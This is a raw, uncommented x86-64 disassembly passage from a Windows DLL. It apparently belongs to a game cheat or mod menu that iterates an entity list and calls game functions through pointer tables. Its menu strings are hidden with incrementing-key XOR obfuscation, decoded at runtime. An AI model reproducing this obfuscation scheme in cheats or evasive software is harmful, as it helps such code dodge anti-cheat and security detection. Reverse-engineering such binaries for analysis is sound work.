jb 0x1800a34d6
movss xmm3, dword [rbx + 4]
comiss xmm3, xmm0
jb 0x1800a34d6
comiss xmm1, xmm15
jb 0x1800a34d6
comiss xmm2, xmm15
jb 0x1800a34d6
comiss xmm4, xmm1
jb 0x1800a34d6
comiss xmm3, xmm2
jb 0x1800a34d6
call fcn.1800165b0
lea rcx, [rbp + 0x1e60]
mov rbx, rax
movups xmmword [rbp + 0x1e60], xmm14
call fcn.180012650
movss xmm0, dword [0x1801ad7c4]
lea r8, [rbp + 0x2f68]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x2f60]
mov rcx, rbx
call fcn.18002d4e0
mov rbx, qword [0x1802492c0]
movss xmm6, dword [0x1801c6d20]
inc edi
movss xmm8, dword [0x1801ad7f0]
cmp edi, 0x24
jl 0x1800a3320
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xb08]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0xb08], 0x44070000
movss dword [rbp + 0xb0c], xmm0
call fcn.180025700
movdqa xmm14, xmmword [0x1801c73d0]
movdqa xmm15, xmmword [0x1801c6e40]
movss xmm9, dword [0x1801ad7d4]
jmp 0x1800a3572
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xb08]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0xb08], 0x44070000
movss dword [rbp + 0xb0c], xmm0
call fcn.180025700
lea r15, [0x18024b4e0]
mov eax, dword [0x1801c41f4]
lea rdx, [rbp + 0xb10]
mov dword [rbp + 0x2c8], eax
lea rcx, [rbp + 0x2c8]
movzx eax, word [0x1801c41f8]
mov r9d, 8
xor byte [rbp + 0x2c9], 0x37
xor r8d, r8d
xor byte [rbp + 0x2ca], 0x38
xor byte [rbp + 0x2cb], 0x39
mov word [rbp + 0x2cc], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2cc], 0x3a
xor al, 0x3c
xor byte [rbp + 0x2cd], 0x3b
mov byte [rbp + 0x2ce], al
mov dword [rbp + 0xb14], 0x4405c000
mov dword [rbp + 0xb10], 0x43a00000
mov byte [rbp + 0x2c8], Ordinal_79
call fcn.18000fcc0
lea rcx, [rbp + 0xb18]
call fcn.180016840
cmp byte [0x1801c4209], r14b
movsd xmm0, qword [str.pBVZNRSSM_]
movzx eax, word [0x1801c4208]
movsd qword [rbp + 0x1008], xmm0
mov word [rbp + 0x1010], ax
mov dword [rbp + 0xb20], 0x43a00000
mov dword [rbp + 0xb24], 0x43ed8000
je 0x1800a3682
xor byte [rbp + 0x1009], 0x37
xor byte [rbp + 0x100a], 0x38
xor byte [rbp + 0x100b], 0x39
xor byte [rbp + 0x100c], 0x3a
xor byte [rbp + 0x100d], 0x3b
xor byte [rbp + 0x100e], 0x3c
xor byte [rbp + 0x100f], 0x3d
xor byte [rbp + 0x1010], 0x3e
xor byte [rbp + 0x1011], 0x3f
mov byte [rbp + 0x1008], 0x46
xor r9d, r9d
lea rdx, [rbp + 0xb20]
mov r8b, 1
lea rcx, [rbp + 0x1008]
call fcn.180003d00
lea rcx, [rbp + 0xb28]
call fcn.180016840
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0xda8]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c4218]
movss dword [rbp + 0xb30], xmm0
xor al, 0x3e
movsd xmm0, qword [str.bRTJTNI_]
movsd qword [rbp + 0xda8], xmm0
xor byte [rbp + 0xda9], 0x37
xor byte [rbp + 0xdaa], 0x38
xor byte [rbp + 0xdab], 0x39
xor byte [rbp + 0xdac], 0x3a
xor byte [rbp + 0xdad], 0x3b
xor byte [rbp + 0xdae], 0x3c
xor byte [rbp + 0xdaf], 0x3d
mov byte [rbp + 0xda8], 0x54
mov dword [rbp + 0xb34], 0x42200000
mov byte [rbp + 0xdb0], al
call fcn.180002c70
test al, al
je 0x1800a3793
cmp qword [0x18024b0a0], r14
je 0x1800a3793
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rcx, qword [rcx + rax]
test rcx, rcx
je 0x1800a3793
movsd xmm0, qword [rcx + 0x90]
movss xmm3, dword [rcx + 0x98]
movaps xmm2, xmm0
mov byte [rsp + 0x30], 1
movaps xmm1, xmm0
shufps xmm2, xmm2, 0x55
mov byte [rsp + 0x28], r14b
mov byte [rsp + 0x20], r14b
movsd qword [rsp + 0x70], xmm0
call qword [0x180249248]
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xb38]
call fcn.180016840
movdqa xmm11, xmmword [0x1801c6e90]
mov r8d, r14d
movdqa xmm10, xmmword [0x1801c6f20]
movdqa xmm13, xmmword [rbp + 0x2f80]
movss xmm0, dword [rax]
mov eax, dword [0x1801c4228]
movdqa xmm12, xmmword [0x1801c6e50]
mov dword [rbp + 0x1c78], eax
movzx eax, word [0x1801c422c]
mov word [rbp + 0x1c7c], ax
movzx eax, byte [0x1801c422e]
movss dword [rbp + 0xb40], xmm0
movsd xmm0, qword [0x1801c4220]
mov byte [rbp + 0x1c7e], al
mov dword [rbp + 0xb44], 0x42200000
movsd qword [rbp + 0x1c70], xmm0
cmp r12d, 2
jl 0x1800a3919
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4220]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c70], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c74]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c74], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c70]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a3930
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x1c70]
call fcn.180002c70
test al, al
je 0x1800a39e8
mov r8, qword [0x18024b0a0]
test r8, r8
je 0x1800a39e8
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rcx, qword [rcx + rax]
test rcx, rcx
je 0x1800a39e8
movsd xmm0, qword [r8 + 0x90]
movss xmm3, dword [r8 + 0x98]
movaps xmm2, xmm0
mov byte [rsp + 0x30], 1
movaps xmm1, xmm0
shufps xmm2, xmm2, 0x55
mov byte [rsp + 0x28], r14b
mov byte [rsp + 0x20], r14b
movsd qword [rsp + 0x70], xmm0
call qword [0x180249248]
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
movdqa xmm1, xmmword [0x1801c6e30]
xorps xmm0, xmm0
mov edx, dword [0x180249488]
movups xmmword [rbp + 0x30c0], xmm0
mov byte [rbp + 0x30c0], r14b
movdqu xmmword [rbp + 0x30d0], xmm1
cmp edx, 0xffffffff
jne 0x1800a3ac1
cmp byte [0x1801c4239], r14b
movsd xmm0, qword [str.uXV_OXHRL_]
movzx eax, word [0x1801c4238]
movsd qword [rbp + 0x1028], xmm0
mov word [rbp + 0x1030], ax
je 0x1800a3a94
xor byte [rbp + 0x1029], 0x37
xor byte [rbp + 0x102a], 0x38
xor byte [rbp + 0x102b], 0x39
xor byte [rbp + 0x102c], 0x3a
xor byte [rbp + 0x102d], 0x3b
xor byte [rbp + 0x102e], 0x3c
xor byte [rbp + 0x102f], 0x3d
xor byte [rbp + 0x1030], 0x3e
xor byte [rbp + 0x1031], 0x3f
mov byte [rbp + 0x1028], 0x43
lea rax, [rbp + 0x1028]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x1800a3aa0
lea rdx, [rbp + 0x1028]
lea rcx, [rbp + 0x30c0]
call fcn.18000ab50
jmp 0x1800a3b79
inc edx
lea rcx, [rbp + 0x2910]
call fcn.1800ea8b0
cmp byte [0x1801c4249], r14b
movsd xmm0, qword [str.fVKJ_YO]
movzx ecx, word [0x1801c4248]
movsd qword [rbp + 0x1038], xmm0
mov word [rbp + 0x1040], cx
je 0x1800a3b3c
xor byte [rbp + 0x1039], 0x37
xor byte [rbp + 0x103a], 0x38
xor byte [rbp + 0x103b], 0x39
xor byte [rbp + 0x103c], 0x3a
xor byte [rbp + 0x103d], 0x3b
xor byte [rbp + 0x103e], 0x3c
xor byte [rbp + 0x103f], 0x3d
xor byte [rbp + 0x1040], 0x3e
xor byte [rbp + 0x1041], 0x3f
mov byte [rbp + 0x1038], 0x50
mov r8, rax
lea rdx, [rbp + 0x1038]
lea rcx, [rbp + 0x2930]
call fcn.180054750
mov rdx, rax
lea rcx, [rbp + 0x30c0]
call fcn.180069650
lea rcx, [rbp + 0x2930]
call fcn.180068dd0
lea rcx, [rbp + 0x2910]
call fcn.180068dd0
cmp qword [rbp + 0x30d8], 0xf
lea rcx, [rbp + 0x30c0]
movzx eax, word [0x1801c4258]
movsd xmm0, qword [str.eRYM]
mov word [rbp + 0x1220], ax
movzx eax, byte [0x1801c425a]
movsd qword [rbp + 0x1218], xmm0
jbe 0x1800a3bb6
mov rcx, qword [rbp + 0x30c0]
xor byte [rbp + 0x1219], 0x37
lea rdx, [0x180249488]
xor byte [rbp + 0x121a], 0x38
xor al, 0x40
xor byte [rbp + 0x121b], 0x39
mov r9d, 2
xor byte [rbp + 0x121c], 0x3a
mov r8d, r13d
xor byte [rbp + 0x121d], 0x3b
xor byte [rbp + 0x121e], 0x3c
xor byte [rbp + 0x121f], 0x3d
xor byte [rbp + 0x1220], 0x3e
xor byte [rbp + 0x1221], 0x3f
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x1218]
mov byte [rbp + 0x1218], 0x53
mov byte [rbp + 0x1222], al
call fcn.180008ec0
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xb48]
call fcn.180016840
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xa0]
movss xmm0, dword [rax]
mov eax, dword [str.aVJI:]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x1801c4260]
xor byte [rbp + 0xa1], 0x37
xor al, 0x3a
xor byte [rbp + 0xa2], 0x38
xor byte [rbp + 0xa3], 0x39
mov byte [rbp + 0xa4], al
movss dword [rbp + 0xb50], xmm0
mov dword [rbp + 0xb54], 0x42200000
mov byte [rbp + 0xa0], 0x57
call fcn.180002c70
test al, al
je 0x1800a3cea
cmp qword [0x18024b0a0], r14
je 0x1800a3cea
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdx, qword [rcx + rax]
test rdx, rdx
je 0x1800a3cea
mov qword [0x180249480], rdx
mov byte [0x180249471], 1
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xb58]
call fcn.180016840
movzx ecx, word [0x1801c4268]
lea rdx, [rbp + 0xb60]
movss xmm0, dword [rax]
mov eax, dword [str.cYTVYP_]
mov dword [rbp + 0x2d0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2d1], 0x37
xor al, 0x3c
xor byte [rbp + 0x2d2], 0x38
xor byte [rbp + 0x2d3], 0x39
mov word [rbp + 0x2d4], cx
xor cl, 0x3a
xor byte [rbp + 0x2d5], 0x3b
mov byte [rbp + 0x2d4], cl
lea rcx, [rbp + 0x2d0]
mov byte [rbp + 0x2d6], al
movss dword [rbp + 0xb60], xmm0
mov dword [rbp + 0xb64], 0x42200000
mov byte [rbp + 0x2d0], 0x55
call fcn.180002c70
test al, al
je 0x1800a3df3
cmp qword [0x18024b0a0], r14
je 0x1800a3df3
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x1800a3df3
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [rdi + 0xd0]
test rax, rax
je 0x1800a3de5
mov dword [rax + 0x208], r14d
mov rax, qword [0x180249360]
mov dword [rdi + rax], 1
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xb68]
call fcn.180016840
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0xa8]
movss xmm0, dword [rax]
mov eax, dword [str.zX_R:]
mov dword [rbp + 0xa8], eax
movzx eax, byte [0x1801c4270]
xor byte [rbp + 0xa9], 0x37
xor al, 0x3a
xor byte [rbp + 0xaa], 0x38
xor byte [rbp + 0xab], 0x39
mov byte [rbp + 0xac], al
movss dword [rbp + 0xb70], xmm0
mov dword [rbp + 0xb74], 0x42200000
mov byte [rbp + 0xa8], Ordinal_79
call fcn.180002c70
test al, al
je 0x1800a3ecb
cmp qword [0x18024b0a0], r14
je 0x1800a3ecb
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x1800a3ecb
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x180249360]
mov dword [rdi + rax], 2
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xb78]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c4280]
mov dword [rbp + 0x1c88], eax
movzx eax, word [0x1801c4284]
mov word [rbp + 0x1c8c], ax
movzx eax, byte [0x1801c4286]
movss dword [rbp + 0xb80], xmm0
movsd xmm0, qword [0x1801c4278]
mov byte [rbp + 0x1c8e], al
mov dword [rbp + 0xb84], 0x42200000
movsd qword [rbp + 0x1c80], xmm0
cmp r12d, 2
jl 0x1800a402d
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4278]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c80], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c84]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c84], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c80]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a4040
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0x1c80]
call fcn.180002c70
test al, al
je 0x1800a40e7
cmp qword [0x18024b0a0], r14
je 0x1800a40e7
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x1800a40e7
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x180249238]
cmp byte [rax], 0x48
jne 0x1800a40e7
mov rcx, rdi
call rax
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xb88]
call fcn.180016840
cmp byte [0x1801c4293], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c4290]
movss dword [rbp + 0xb90], xmm0
movsd xmm0, qword [str.eC_XVeLQ_K_A]
movsd qword [rbp + 0x1508], xmm0
mov dword [rbp + 0xb94], 0x42200000
mov dword [rbp + 0x1510], eax
je 0x1800a4284
mov r8d, r14d
cmp r12d, 2
jl 0x1800a423b
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eC_XVeLQ_K_A]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1508], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x150c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x150c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1508]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a4250
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0x1508]
call fcn.180002c70
test al, al
je 0x1800a4307
cmp qword [0x18024b0a0], r14
je 0x1800a4307
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rcx, qword [rcx + rax]
test rcx, rcx
je 0x1800a4307
mov rcx, qword [rcx + 0x48]
mov rax, qword [0x180249208]
mov rcx, qword [rcx + 0x20]
call rax
mov rdx, qword [0x18024b0a0]
mov rcx, qword [0x1802492f0]
mov rcx, qword [rcx + rdx]
test rcx, rcx
je 0x1800a4307
mov rcx, qword [rcx + 0x48]
mov rdx, rax
mov rcx, qword [rcx + 0x20]
call qword [0x180249218]
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xb98]
call fcn.180016840
cmp byte [0x1801c42a9], r14b
movups xmm1, xmmword [str.sOHUU_Y]
movss xmm0, dword [rax]
movzx eax, word [0x1801c42a8]
mov word [rbp + 0x2188], ax
movss dword [rbp + 0xba0], xmm0
mov dword [rbp + 0xba4], 0x42200000
movups xmmword [rbp + 0x2178], xmm1
je 0x1800a44c4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a447b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x217c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a4380
cmp r8d, 0x12
jge 0x1800a44c4
movsxd rax, r8d
lea r9, [rbp + 0x2178]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a4490
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0x2178]
call fcn.180002c70
test al, al
je 0x1800a49a0
cmp qword [0x18024b0a0], r14
je 0x1800a49a0
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x1800a49a0
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rdi + 0xd0], r14
je 0x1800a4599
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
movss xmm6, dword [0x1801b3f44]
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
xor edx, edx
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a45c8
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
movss xmm6, dword [0x1801b3f44]
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
xor edx, edx
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rdi + 0xd0], r14
je 0x1800a4642
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 1
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a466c
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 1
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rdi + 0xd0], r14
je 0x1800a46e6
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 2
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a4710
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 2
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rdi + 0xd0], r14
je 0x1800a478a
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 3
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a47b4
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 3
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rdi + 0xd0], r14
je 0x1800a482e
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 4
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a4858
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 4
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rdi + 0xd0], r14
je 0x1800a48d2
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 5
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a48fc
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 5
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
